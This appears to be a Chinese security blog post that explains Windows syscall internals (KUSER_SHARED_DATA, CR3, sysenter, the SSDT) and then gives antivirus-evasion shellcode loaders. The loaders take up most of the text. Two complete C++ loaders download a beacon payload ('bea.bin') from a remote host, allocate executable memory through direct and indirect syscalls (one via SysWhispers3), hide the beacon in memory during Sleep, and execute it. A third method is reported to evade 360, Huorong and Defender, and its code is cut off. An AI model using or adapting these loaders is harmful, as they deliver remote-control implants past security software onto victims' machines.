3x3 syscall
我们windows api的调用,通过层层调用最终还是会进入ntdll的底层函数的调用,再通过syscall快速调用进入0环实现的代码,下面我将记录一些syscall的底层基础知识,最后的代码实现是通过现成项目直接快速调用敏感api,这种现成syscall的项目很多,但是感觉都比较久了免杀效果不太好,得自己再魔改魔改
_KUSER_SHARED_DATA
我们在3环调用的api只是起接口的作用,真正的实现都在0环里
3环进0环的寄存器和堆栈是会改变的
所以系统在User层和Kernel层分别定义了一个_KUSER_SHARED_DATA
结构区域,用于User层和Kernel层共享某些数据,它们使用固定的地址值映射,_KUSER_SHARED_DATA
结构区域在User和Kernel层地址分别为
User层地址为:0x7ffe0000
Kernel层地址为:0xffdf0000
通过找别人双机调试的代码观察_KUSER_SHARED_DATA
结构区域,发现 user层地址0x7ffe0000 和kernel层地址0xffdf0000的内容是一样的,虽然指向的是同一个物理页,但在User 层是只读的,在Kernnel层是可写的。
0: kd> dt _KUSER_SHARED_DATA 0x7ffe0000
ntdll!_KUSER_SHARED_DATA
+0x000 TickCountLow : 0x83114
+0x004 TickCountMultiplier : 0xfa00000
+0x008 InterruptTime : _KSYSTEM_TIME
+0x014 SystemTime : _KSYSTEM_TIME
+0x020 TimeZoneBias : _KSYSTEM_TIME
+0x02c ImageNumberLow : 0x14c
+0x02e ImageNumberHigh : 0x14c
+0x030 NtSystemRoot : [260] 0x43
+0x238 MaxStackTraceDepth : 0
+0x23c CryptoExponent : 0
+0x240 TimeZoneId : 0
+0x244 Reserved2 : [8] 0
+0x264 NtProductType : 1 ( NtProductWinNt )
+0x268 ProductTypeIsValid : 0x1 ''
+0x26c NtMajorVersion : 5
+0x270 NtMinorVersion : 1
+0x274 ProcessorFeatures : [64] ""
+0x2b4 Reserved1 : 0x7ffeffff
+0x2b8 Reserved3 : 0x80000000
+0x2bc TimeSlip : 0
+0x2c0 AlternativeArchitecture : 0 ( StandardDesign )
+0x2c8 SystemExpirationDate : _LARGE_INTEGER 0x0
+0x2d0 SuiteMask : 0x110
+0x2d4 KdDebuggerEnabled : 0x3 ''
+0x2d5 NXSupportPolicy : 0x2 ''
+0x2d8 ActiveConsoleId : 0
+0x2dc DismountCount : 0
+0x2e0 ComPlusPackage : 0xffffffff
+0x2e4 LastSystemRITEventTickCount : 0x7f50a6
+0x2e8 NumberOfPhysicalPages : 0xbff6a
+0x2ec SafeBootMode : 0 ''
+0x2f0 TraceLogging : 0
+0x2f8 TestRetInstruction : 0xc3
+0x300 SystemCall : 0x7c92e4f0
+0x304 SystemCallReturn : 0x7c92e4f4
+0x308 SystemCallPad : [3] 0
+0x320 TickCount : _KSYSTEM_TIME
+0x320 TickCountQuad : 0
+0x330 Cookie : 0xe996c383
注意:地址为0x7ffe000 + 0x300,指向的结构体 _KUSER_SHARED_DATA 的成员SystemCall, 这里就是user层进入kernel层的关键。
CR3寄存器
CR3是一个寄存器,该寄存器内保存有页目录表物理地址,其实CR3内部存放的就是页目录表的内存基地址,运用CR3切换可实现对特定进程内存地址的强制读写操作
通俗点说:在0环里,我在A进程里面的CR3寄存器的地址值换成B进程的CR3的地址值,A进程就可以强制 访问B进程的内存了
- Cr3寄存器所存储的物理地址指向了一个页目录表(Page-Directory Table,PDT),也就是我们前面所 说的查找时的第一级。在Windows中,一个页的大小通常为4KB,即一个页(页目录表)可以存储1024 个页目录表项(PDE)
- 而第二级为页表(PTT), 每个页表的大小为4KB,即一个页表可以存储1024个页表项(PTE)
这里我们可以看一下User层的cr3,可以看到PTE最后的值为5,二进制为0101,对应到上图PTE,
P位为1,表示其物理页有效;
R/W位,值为1时表示可读可写,这里值为0,表示不可读写;
U/S位,值为0表示特权用户,值为1表示普通用户,这里为1表示普通用户
那么这里为什么看PTE的最后一位5呢?因为5对应着PTE的最低四位
看一下kernel层的CR3
PTE的属性最后是3,即为0011,RW位为1,可读可写。
怎么判断是否支持快速调用 ?
当通过eax=1来执行cpuid指令时,处理器的特征信息被放在ecx和edx寄存器中,其中edx包含一个 SEP位(11位),该位指明当前处理器是否支持 sysenter/sysexit 指令
11位就是拆edx的倒数第三个值
拆完edx后,SEP位为1,证明支持 sysenter/sysexit
在我们了解了KUSER_SHARED_DATA结构体后,就可以知道call的实际上是Systemcall的地址,通过反汇编查看,通过sysente指令(快速调用)进入0环。操作系统会在系统启动的时候在KUSER_SHARED_DATA结构体的+300的位置,写入一个函数,这个函数就是
KiFastsystemca11或者不支持则写入函数KiIntsystemca11
进0环需要更改CS、SS、ESP、EIP四个寄存器
- CS的权限由3变为0,意味着需要新的CS
- SS与CS的权限永远一致,需要新的SS
- 权限发生切换的时候,堆栈也一定会切换,需要新的ESP
- 进0环后代码的位置,需要EIP
SSDT表
ssdt是一张表,即系统服务描述符表
SSDT的全称是"System Services Descriptor Table",在内核中的实际名称是KeServiceDescriptorTable
ssdt表第一个值0x80505450就是ssdt表地址,第三个值0x11c表示表内有多少个内核函数,第四个值0x805058c4是一个指针,指向一个地址,表示的是与上面的内核函数相对应的参数个数,例如第一个为18,参数个数就为18/4=6(十六进制)
手动找调用号
跟一下openprocess举例:
打开od,找到openprocess的地址下断点,
f7跟进去
可以看到直接kernel32的openprocess调用的就是ntopenprocess(zwopenprocess),不像其他函数可能中间还有几层函数
可以看到0x26就是函数的调用号
下面ntdll.772D8A30就是sysenter的地址
接下来就在SSDT表的基址+0x26*4的偏移,找到openprocess0环函数的地址
KeServiceDescriptorTableShadow
在NT4.0以上的Windows操作系统中,默认就存在两个系统服务描述表,这两个调度表对应了两类不同的系统服务,这两个调度表为:KeServiceDescriptorTable和KeServiceDescriptorTableShadow,其中KeServiceDescriptorTable主要是处理来自ring3层kernel32.d11中的系统调用,而KeServiceDescriptorTableShadow则主要处理来自User32.dll和GDI32.dll中的系统调用,并且KeServiceDescriptorTable在ntoskrnl.exe是导出的,而KeServiceDescriptorTableShadow则是没有被Windows操作系统所导出
代码实现:
方法一:(失败)
https://idiotc4t.com/defense-evasion/dynamic-get-syscallid
#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include "detours.h"
#include <iostream>
#pragma comment(lib, "ntdll")
//#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")
//#ifdef _WIN64
//#pragma comment(lib,"detours.x64.lib")
//#else
//#pragma comment(lib,"detours.x86.lib")
//#endif
#define DEFAULT_BUFLEN 4096
// 定义内存页属性结构体
typedef struct {
LPVOID address; // 内存地址
DWORD size; // 内存大小
}MemoryAttrib;
// 定义内存信息结构体
typedef struct {
MemoryAttrib memoryPage[3]; // 最多存储3个内存页属性
int index; // 内存下标
int key; // 加解密key
BOOL isScanMemory; // 是否已查找内存页信息
BOOL isEncrypt; // 是否已加密
}MemoryInfo;
MemoryInfo memoryInfo;
// 挂钩
void HookSleep();
// 脱钩
void UnHookSleep();
DWORD getShellcode_Run(char* host, char* port, char* resource, OUT char* recvbuf_ptr) {
DWORD oldp = 0;
//BOOL returnValue;
size_t origsize = strlen(host) + 1;
const size_t newsize = 100;
size_t convertedChars = 0;
wchar_t Whost[newsize];
mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo* result = NULL,
* ptr = NULL,
hints;
char sendbuf[MAX_PATH] = "";
lstrcatA(sendbuf, "GET /");
lstrcatA(sendbuf, resource);
char recvbuf[DEFAULT_BUFLEN];
memset(recvbuf, 0, DEFAULT_BUFLEN);
int iResult;
int recvbuflen = DEFAULT_BUFLEN;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed with error: %d\n", iResult);
return 0;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = PF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
// Resolve the server address and port
iResult = getaddrinfo(host, port, &hints, &result);
if (iResult != 0) {
printf("getaddrinfo failed with error: %d\n", iResult);
WSACleanup();
return 0;
}
// Attempt to connect to an address until one succeeds
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
// Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
printf("socket failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 0;
}
// Connect to server.
printf("[+] Connect to %s:%s", host, port);
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
continue;
}
break;
}
freeaddrinfo(result);
if (ConnectSocket == INVALID_SOCKET) {
printf("Unable to connect to server!\n");
WSACleanup();
return 0;
}
// Send an initial buffer
iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
if (iResult == SOCKET_ERROR) {
printf("send failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
printf("\n[+] Sent %ld Bytes\n", iResult);
// shutdown the connection since no more data will be sent
iResult = shutdown(ConnectSocket, SD_SEND);
if (iResult == SOCKET_ERROR) {
printf("shutdown failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
memset(recvbuf_ptr, 0, 400000);
DWORD total_received = 0;
// Receive until the peer closes the connection
do {
iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
if (iResult > 0)
{
printf("[+] Received %d Bytes\n", iResult);
memcpy(recvbuf_ptr, recvbuf, iResult);
recvbuf_ptr += iResult; // 将指针移动到接收到的数据的末尾
total_received += iResult; // 更新接收到的总字节数
printf("[+] Received total %d Bytes\n", total_received);
}
else if (iResult == 0)
printf("[+] Connection closed\n");
else
printf("recv failed with error: %d\n", WSAGetLastError());
//RunShellcode(recvbuf, recvbuflen);
} while (iResult > 0);
// cleanup
closesocket(ConnectSocket);
WSACleanup();
return total_received;
}
// 查找内存页
void ScanMemoryMap()
{
// 内存块信息结构体
MEMORY_BASIC_INFORMATION mbi;
LPVOID lpAddress = 0;
HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, GetCurrentProcessId());
int* index = &memoryInfo.index;
while (VirtualQueryEx(hProcess, lpAddress, &mbi, sizeof(mbi)))
{
// 查找可读可写可执行内存页
if (mbi.Protect == PAGE_EXECUTE_READWRITE || mbi.Protect == PAGE_EXECUTE && mbi.Type == MEM_PRIVATE)//私有内存(MEM_PRIVATE)
{
// 保存内存信息
memoryInfo.memoryPage[*index].address = mbi.BaseAddress;
memoryInfo.memoryPage[*index].size = (DWORD)mbi.RegionSize;
//printf("memoryInfo.BaseAddr = %p address = %p\n", memoryInfo.memoryPage[*index].address, mbi.BaseAddress);
(*index)++;
if ((*index) >= 3)
break;
}
// 更新到下一个内存页
lpAddress = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize);
}
// 更新为已扫描内存
memoryInfo.isScanMemory = TRUE;
/* *
* memoryInfo.index = 2 使用了Stageless Beacon
* memoryInfo.index = 3 使用了Stage Beacon
* */
// 释放shellcode内存页
VirtualFree(memoryInfo.memoryPage[0].address, 0, MEM_RELEASE);
printf("Shellcode Address at 0x%p\n\n", memoryInfo.memoryPage[memoryInfo.index - 1].address);
}
typedef NTSTATUS(WINAPI* _SystemFunction033)(
struct ustring* memoryRegion,
struct ustring* keyPointer);
struct ustring {
DWORD Length;
DWORD MaximumLength;
PUCHAR Buffer;
} scdata, key;
// 加解密Beacon
void EncryptDecrypt()
{
// 定位到真正的Beacon内存页
MemoryAttrib Beacon = memoryInfo.memoryPage[memoryInfo.index - 1];
DWORD bufSize = Beacon.size;
unsigned int* buffer = (unsigned int*)(Beacon.address);
int bufSizeRounded = (bufSize - (bufSize % sizeof(unsigned int))) / 4;
// 对Beacon进行加密或解密
_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary("advapi32"), "SystemFunction033");
char str_key[] = "132abc";
key.Buffer = (PUCHAR)(&str_key);
key.Length = sizeof(str_key);
scdata.Buffer = (PUCHAR)buffer;
scdata.Length = bufSizeRounded;
SystemFunction033(&scdata, &key);
DWORD oldProt;
memoryInfo.isEncrypt = !memoryInfo.isEncrypt;
// 已加密
if (memoryInfo.isEncrypt == TRUE)
{
// 将内存页设置为可读可写
VirtualProtect(Beacon.address, Beacon.size, PAGE_READWRITE, &oldProt);
printf("[>] Flipped to RW.\n");
}
// 未加密
if (memoryInfo.isEncrypt == FALSE)
{
// 将内存页设置为可读可写可执行
VirtualProtect(Beacon.address, Beacon.size, PAGE_EXECUTE_READWRITE, &oldProt);
memoryInfo.key = rand(); // 更新密钥
printf("[<] Flipped back to RX/RWX.\n");
}
printf("%s\n\n", memoryInfo.isEncrypt ? "[>] Encoding..." : "[<] Decoding...");
}
// 定义Sleep原函数
VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
VOID WINAPI MySleep(DWORD dwMilliseconds)
{
UnHookSleep();
if (!memoryInfo.isScanMemory)
ScanMemoryMap();
printf("XOR32 key: %X\n", memoryInfo.key);
EncryptDecrypt();
printf("===> MySleep(%d)\n\n", dwMilliseconds);
Sleep(dwMilliseconds);
EncryptDecrypt();
HookSleep();
}
// 挂钩
void HookSleep()
{
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach((void**)&OldSleep, MySleep);
DetourTransactionCommit();
}
// 脱钩
void UnHookSleep()
{
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach((void**)&OldSleep, MySleep);
DetourTransactionCommit();
}
// 初始化内存页信息
void InitMemoryInfo()
{
srand(time(NULL));
memoryInfo.index = 0;
memoryInfo.isScanMemory = FALSE;
memoryInfo.isEncrypt = FALSE;
memoryInfo.key = rand(); // 随机key
}
BOOL RegkeyExist(HKEY hKey, char* regkey_s) {
HKEY regkey;
DWORD ret = RegOpenKeyEx(hKey, regkey_s, 0, KEY_READ, ®key);
if (ret == ERROR_SUCCESS) {
RegCloseKey(regkey);
return TRUE;
}
return FALSE;
}
char syscall_sc[] = {
0x4c, 0x8b, 0xd1,
0xb8, 0xb9, 0x00, 0x00, 0x00, //系统调用号
0x0f, 0x05, //syscall
0xc3 //ret
};
typedef LPVOID(WINAPI* fnNtAllocateVirtualMemory)(
HANDLE ProcessHandle, //进程句柄
PVOID* BaseAddress, //指向开辟内存的指针,二级指针
ULONG_PTR ZeroBits, //不知道啥用直接置零
PSIZE_T RegionSize, //指向开辟大小的指针
ULONG AllocationType, //内存页
ULONG Protect //内存属性
);
int GetSysCall(LPCSTR FuncName) {
SIZE_T num;
char sc[5];
LPVOID FuncPoint = GetProcAddress(GetModuleHandleA("ntdll.dll"), FuncName); //得到函数指针
ReadProcessMemory(GetCurrentProcess(), FuncPoint, &sc, 0x5, &num); //读取五个字节存到数组
return sc[4]; //取得syscall号
}
int main(int argc, char** argv)
{
char* recvbuf_ptr = (char*)malloc(400000);
char* ip = "";
char* RemotePort = "5002";
char* Resource = "bea.bin";
SIZE_T recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);
PVOID ptr = NULL;
printf("%d",GetLastError());
syscall_sc[4] = GetSysCall("NtAllocateVirtualMemory");
fnNtAllocateVirtualMemory NtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)&syscall_sc;
DWORD OldProtected = 0;
VirtualProtect((LPVOID)syscall_sc, 0x1000, PAGE_EXECUTE_READWRITE, &OldProtected);
LPVOID lpAddress = NtAllocateVirtualMemory(GetCurrentProcess(), &ptr, 0, &recvbuf_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//LPVOID lpAddress = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT, PAGE_READWRITE);
if (!lpAddress) return 0;
memcpy(lpAddress, recvbuf_ptr, recvbuf_size);
DWORD oldProtect;
VirtualProtect(lpAddress, recvbuf_size, PAGE_EXECUTE, &oldProtect);
InitMemoryInfo();
HookSleep();
(*(int(*)()) lpAddress)();
//if (RegkeyExist(HKEY_LOCAL_MACHINE, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WeChat"))
//{
// (*(int(*)()) lpAddress)();
//}
}
方法二:SysWhispers3
项目地址:https://github.com/klezVirus/SysWhispers3
它的主要提升是支持使用 egg_hunter, 先用垃圾指令代替 syscall,在运行时再从内存中找出来替换 syscall。以及使用 jumper & jumper_randomized 来进行间接 syscall。
-m {embedded,egg_hunter,jumper,jumper_randomized} //任选一种method
-o OUT_FILE //输出路径
使用步骤:
例:导出NtAllocateVirtualMemory函数:
python syswhispers.py --functions NtAllocateVirtualMemory -c jumper -o funs/VirtualMemory
导入VS
- 将生成的H/C/ASM文件拷贝到项目目录中;
- 在Visual Studio中,点击“Project->Build Customizations...”,然后启用MASM;
- 在“Solution Exlorer”中,将.h和.c/.asm文件分别以Header和源文件的形式添加到项目中;
- 点击ASM文件的属性,将“Item Type”设置为“Microsoft Macro Assembler”;
代码示例:
先来头文件看函数名称
直接使用函数
#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include "detours.h"
#include <iostream>
#include "jumper.h"
#pragma comment(lib, "ntdll")
//#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")
//#ifdef _WIN64
//#pragma comment(lib,"detours.x64.lib")
//#else
//#pragma comment(lib,"detours.x86.lib")
//#endif
#define DEFAULT_BUFLEN 4096
// 定义内存页属性结构体
typedef struct {
LPVOID address; // 内存地址
DWORD size; // 内存大小
}MemoryAttrib;
// 定义内存信息结构体
typedef struct {
MemoryAttrib memoryPage[3]; // 最多存储3个内存页属性
int index; // 内存下标
int key; // 加解密key
BOOL isScanMemory; // 是否已查找内存页信息
BOOL isEncrypt; // 是否已加密
}MemoryInfo;
MemoryInfo memoryInfo;
// 挂钩
void HookSleep();
// 脱钩
void UnHookSleep();
DWORD getShellcode_Run(char* host, char* port, char* resource, OUT char* recvbuf_ptr) {
DWORD oldp = 0;
//BOOL returnValue;
size_t origsize = strlen(host) + 1;
const size_t newsize = 100;
size_t convertedChars = 0;
wchar_t Whost[newsize];
mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo* result = NULL,
* ptr = NULL,
hints;
char sendbuf[MAX_PATH] = "";
lstrcatA(sendbuf, "GET /");
lstrcatA(sendbuf, resource);
char recvbuf[DEFAULT_BUFLEN];
memset(recvbuf, 0, DEFAULT_BUFLEN);
int iResult;
int recvbuflen = DEFAULT_BUFLEN;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed with error: %d\n", iResult);
return 0;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = PF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
// Resolve the server address and port
iResult = getaddrinfo(host, port, &hints, &result);
if (iResult != 0) {
printf("getaddrinfo failed with error: %d\n", iResult);
WSACleanup();
return 0;
}
// Attempt to connect to an address until one succeeds
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
// Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
printf("socket failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 0;
}
// Connect to server.
printf("[+] Connect to %s:%s", host, port);
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
continue;
}
break;
}
freeaddrinfo(result);
if (ConnectSocket == INVALID_SOCKET) {
printf("Unable to connect to server!\n");
WSACleanup();
return 0;
}
// Send an initial buffer
iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
if (iResult == SOCKET_ERROR) {
printf("send failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
printf("\n[+] Sent %ld Bytes\n", iResult);
// shutdown the connection since no more data will be sent
iResult = shutdown(ConnectSocket, SD_SEND);
if (iResult == SOCKET_ERROR) {
printf("shutdown failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
memset(recvbuf_ptr, 0, 400000);
DWORD total_received = 0;
// Receive until the peer closes the connection
do {
iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
if (iResult > 0)
{
printf("[+] Received %d Bytes\n", iResult);
memcpy(recvbuf_ptr, recvbuf, iResult);
recvbuf_ptr += iResult; // 将指针移动到接收到的数据的末尾
total_received += iResult; // 更新接收到的总字节数
printf("[+] Received total %d Bytes\n", total_received);
}
else if (iResult == 0)
printf("[+] Connection closed\n");
else
printf("recv failed with error: %d\n", WSAGetLastError());
//RunShellcode(recvbuf, recvbuflen);
} while (iResult > 0);
// cleanup
closesocket(ConnectSocket);
WSACleanup();
return total_received;
}
// 查找内存页
void ScanMemoryMap()
{
// 内存块信息结构体
MEMORY_BASIC_INFORMATION mbi;
LPVOID lpAddress = 0;
HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, GetCurrentProcessId());
int* index = &memoryInfo.index;
while (VirtualQueryEx(hProcess, lpAddress, &mbi, sizeof(mbi)))
{
// 查找可读可写可执行内存页
if (mbi.Protect == PAGE_EXECUTE_READWRITE || mbi.Protect == PAGE_EXECUTE && mbi.Type == MEM_PRIVATE)//私有内存(MEM_PRIVATE)
{
// 保存内存信息
memoryInfo.memoryPage[*index].address = mbi.BaseAddress;
memoryInfo.memoryPage[*index].size = (DWORD)mbi.RegionSize;
//printf("memoryInfo.BaseAddr = %p address = %p\n", memoryInfo.memoryPage[*index].address, mbi.BaseAddress);
(*index)++;
if ((*index) >= 3)
break;
}
// 更新到下一个内存页
lpAddress = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize);
}
// 更新为已扫描内存
memoryInfo.isScanMemory = TRUE;
/* *
* memoryInfo.index = 2 使用了Stageless Beacon
* memoryInfo.index = 3 使用了Stage Beacon
* */
// 释放shellcode内存页
VirtualFree(memoryInfo.memoryPage[0].address, 0, MEM_RELEASE);
printf("Shellcode Address at 0x%p\n\n", memoryInfo.memoryPage[memoryInfo.index - 1].address);
}
typedef NTSTATUS(WINAPI* _SystemFunction033)(
struct ustring* memoryRegion,
struct ustring* keyPointer);
struct ustring {
DWORD Length;
DWORD MaximumLength;
PUCHAR Buffer;
} scdata, key;
// 加解密Beacon
void EncryptDecrypt()
{
// 定位到真正的Beacon内存页
MemoryAttrib Beacon = memoryInfo.memoryPage[memoryInfo.index - 1];
DWORD bufSize = Beacon.size;
unsigned int* buffer = (unsigned int*)(Beacon.address);
int bufSizeRounded = (bufSize - (bufSize % sizeof(unsigned int))) / 4;
// 对Beacon进行加密或解密
_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary("advapi32"), "SystemFunction033");
char str_key[] = "132abc";
key.Buffer = (PUCHAR)(&str_key);
key.Length = sizeof(str_key);
scdata.Buffer = (PUCHAR)buffer;
scdata.Length = bufSizeRounded;
SystemFunction033(&scdata, &key);
DWORD oldProt;
memoryInfo.isEncrypt = !memoryInfo.isEncrypt;
// 已加密
if (memoryInfo.isEncrypt == TRUE)
{
// 将内存页设置为可读可写
VirtualProtect(Beacon.address, Beacon.size, PAGE_READWRITE, &oldProt);
printf("[>] Flipped to RW.\n");
}
// 未加密
if (memoryInfo.isEncrypt == FALSE)
{
// 将内存页设置为可读可写可执行
VirtualProtect(Beacon.address, Beacon.size, PAGE_EXECUTE_READWRITE, &oldProt);
memoryInfo.key = rand(); // 更新密钥
printf("[<] Flipped back to RX/RWX.\n");
}
printf("%s\n\n", memoryInfo.isEncrypt ? "[>] Encoding..." : "[<] Decoding...");
}
// 定义Sleep原函数
VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
VOID WINAPI MySleep(DWORD dwMilliseconds)
{
UnHookSleep();
if (!memoryInfo.isScanMemory)
ScanMemoryMap();
printf("XOR32 key: %X\n", memoryInfo.key);
EncryptDecrypt();
printf("===> MySleep(%d)\n\n", dwMilliseconds);
Sleep(dwMilliseconds);
EncryptDecrypt();
HookSleep();
}
// 挂钩
void HookSleep()
{
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach((void**)&OldSleep, MySleep);
DetourTransactionCommit();
}
// 脱钩
void UnHookSleep()
{
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach((void**)&OldSleep, MySleep);
DetourTransactionCommit();
}
// 初始化内存页信息
void InitMemoryInfo()
{
srand(time(NULL));
memoryInfo.index = 0;
memoryInfo.isScanMemory = FALSE;
memoryInfo.isEncrypt = FALSE;
memoryInfo.key = rand(); // 随机key
}
BOOL RegkeyExist(HKEY hKey, char* regkey_s) {
HKEY regkey;
DWORD ret = RegOpenKeyEx(hKey, regkey_s, 0, KEY_READ, ®key);
if (ret == ERROR_SUCCESS) {
RegCloseKey(regkey);
return TRUE;
}
return FALSE;
}
int main(int argc, char** argv)
{
char* recvbuf_ptr = (char*)malloc(400000);
char* ip = "";
char* RemotePort = "5002";
char* Resource = "bea.bin";
int recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);
HANDLE hProc = GetCurrentProcess();
LPVOID base_addr = NULL;
HANDLE thandle = NULL;
NTSTATUS NTAVM = Sw3NtAllocateVirtualMemory(
hProc,
&base_addr,
0,
(PSIZE_T)&recvbuf_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
//LPVOID lpAddress = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT, PAGE_READWRITE);
if (!base_addr) return 0;
//memcpy(base_addr, recvbuf_ptr, recvbuf_size);
Sw3NtWriteVirtualMemory(hProc, base_addr, recvbuf_ptr, recvbuf_size,NULL);
DWORD oldProtect;
//VirtualProtect(base_addr, recvbuf_size, PAGE_EXECUTE, &oldProtect);
Sw3NtProtectVirtualMemory(hProc,&base_addr, (PSIZE_T)&recvbuf_size, PAGE_EXECUTE, &oldProtect);
InitMemoryInfo();
HookSleep();
(*(int(*)()) base_addr)();
//if (RegkeyExist(HKEY_LOCAL_MACHINE, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WeChat"))
//{
// (*(int(*)()) lpAddress)();
//}
}
方法三:远程加载+syscall
效果:360动静态免杀,火绒动静态免杀,defender静态免杀,动态上线完几秒后就掉了
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include "syscalls_mem.h"
#include <stdlib.h>
#include <psapi.h>
#include <fstream>
#include <iostream>
#include <vector>
#include <sstream>
#include <iomanip>
#include <stdio.h>
#pragma comment(lib, "ntdll")
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")
#define NtCurrentProcess() ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
#define _CRT_SECURE_NO_WARNINGS
using namespace std;
#define DEBUG 0
HMODULE GetMainModule(HANDLE);
BOOL GetMainModuleInformation(PULONG64, PULONG64);
void FindAndReplace(unsigned char[], unsigned char[]);
unsigned char* charToUnsignedChar(const char* str) {
// 获取字符串的长度
int len = strlen(str);
// 为 unsigned char[] 分配内存空间
unsigned char* ustr = new unsigned char[len + 1]; // 需要+1来存储字符串结束符 '\0'
// 将字符复制到 unsigned char[] 中
for (int i = 0; i < len; ++i) {
ustr[i] = static_cast<unsigned char>(str[i]);
}
ustr[len] = '\0'; // 添加字符串结束符
return ustr;
}
// 获取指定进程的主模块句柄
HMODULE GetMainModule(HANDLE hProcess)
{
HMODULE mainModule = NULL; // 主模块句柄,初始化为NULL
HMODULE* lphModule; // 指向模块句柄数组的指针
LPBYTE lphModuleBytes; // 指向模块句柄缓冲区的指针
DWORD lpcbNeeded; // 存储模块句柄所需的缓冲区大小
// 首先调用EnumProcessModules来获取存储模块句柄所需的空间大小(以字节为单位)
BOOL success = EnumProcessModules(hProcess, NULL, 0, &lpcbNeeded);
// 我们已经知道lpcbNeeded一定大于0
if (!success || lpcbNeeded == 0)
{
printf("[-] Error enumerating process modules\n");
// 我们已经知道无法动态放置系统调用指令,退出
exit(1);
}
// 一旦我们获取到存储该进程所有模块句柄所需的字节数,我们可以为其分配空间
lphModuleBytes = (LPBYTE)LocalAlloc(LPTR, lpcbNeeded);
if (lphModuleBytes == NULL)
{
printf("[-] Error allocating memory to store process modules handles\n");
exit(1);
}
unsigned int moduleCount;
moduleCount = lpcbNeeded / sizeof(HMODULE);
lphModule = (HMODULE*)lphModuleBytes;
success = EnumProcessModules(hProcess, lphModule, lpcbNeeded, &lpcbNeeded);
if (!success)
{
printf("[-] Error enumerating process modules\n");
exit(1);
}
// 最后存储主模块
mainModule = lphModule[0];
// 避免内存泄漏
LocalFree(lphModuleBytes);
// 返回主模块
return mainModule;
}
// 获取主模块信息
